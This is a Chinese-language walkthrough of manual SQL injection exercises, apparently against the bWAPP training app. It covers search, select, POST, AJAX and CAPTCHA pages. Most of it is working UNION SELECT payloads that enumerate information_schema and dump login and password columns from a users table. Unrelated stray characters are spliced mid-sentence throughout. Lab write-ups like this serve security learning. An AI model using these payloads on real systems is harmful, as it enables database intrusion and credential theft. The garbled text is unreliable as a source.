SQL Injection (GET/Search)
手注練習(xí)題
(^_^)
Level: Low
- 先輸入單引號(hào)
'
苟穆,測試結(jié)果:
源碼中:
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
單引號(hào)的輸入枣申,使得
%
沒有閉合
- 繼續(xù),輸入
' or 1=1 #
,拼合成功:
3.使用order by
亿笤,確定字段數(shù):
URL的
title
參數(shù)中直接輸入:
title=World%' order by 8 -- &action=search
確定只有7個(gè)字段
- 使用union select硕盹,確定顯示位置
title=World%' union select 1,2,3,4,5,6,7 -- &action=search
- 查詢當(dāng)前庫,當(dāng)前表祈坠,當(dāng)前用戶:
title=World%' union select 1,table_name,database(),user(),5,6,7 from information_schema.tables where table_schema=database() --
- 查詢users表字段:
title=World%' union select 1,column_name,database(),user(),5,6,7 from information_schema.columns where table_name='users' --
- 查詢用戶名
login
和密碼password
:
title=World%' union select 1,login,password,4,5,6,7 from users --
Level: Medium
使用
addslashes()
進(jìn)行了過濾
Level: High
使用
mysql_real_escape_string()
進(jìn)行了過濾
SQL Injection (GET/Select)
Level: Low
方法與上面一致害碾,需要注意的是,在源碼中:
$id = $_GET["movie"]; $sql = "SELECT * FROM movies"; // If the user selects a movie if($id) { $sql.= " WHERE id = " . sqli($id); }
注入點(diǎn)在
where
中赦拘,需要先使語句失效
輸入-1
即可
新的拼接語句如下:
movie=-1 union select 1,login,password,4,5,6,7 from users order by 1 --
最終結(jié)果:
Level:Medium/High
與上面的 SQL Injection (GET/Search) 一致慌随!
SQL Injection (POST/Search)
Level: Low
使用Firefox的hackBar插件或者 PostMan工具通過 POST
方式提交即可
title=World%' union select 1,login,password,4,5,6,7 from users -- -
Level:Medium/High
與上面的 SQL Injection (GET/Search) 一致!
SQL Injection (POST/Select)
Level: Low
使用Firefox的hackBar插件或者 PostMan工具通過 POST
方式提交即可
movie=-1 union select 1,login,password,4,5,6,7 from users order by 1 -- -
Level:Medium/High
與上面的 SQL Injection (GET/Search) 一致另绩!
SQL Injection (AJAX/JSON/jQuery)
Level: Low
這題比較簡單儒陨,原理與上面的Sql注入方式一致花嘶,只是通過另一個(gè)頁面調(diào)用數(shù)據(jù),查看網(wǎng)頁源碼可以看到:
Ajax
調(diào)用了sqli_10-2.php
頁面蹦漠,僅需直接針對sqli_10-2.php
頁面進(jìn)行Sql注入即可
Level:Medium/High
sqli_10-2.php
的頁面與之前的 SQL Injection (GET/Search)過濾方式 一致椭员!
SQL Injection (CAPTCHA)
多了一個(gè)驗(yàn)證碼驗(yàn)證,其他的與SQL Injection (GET/Search) 一致笛园!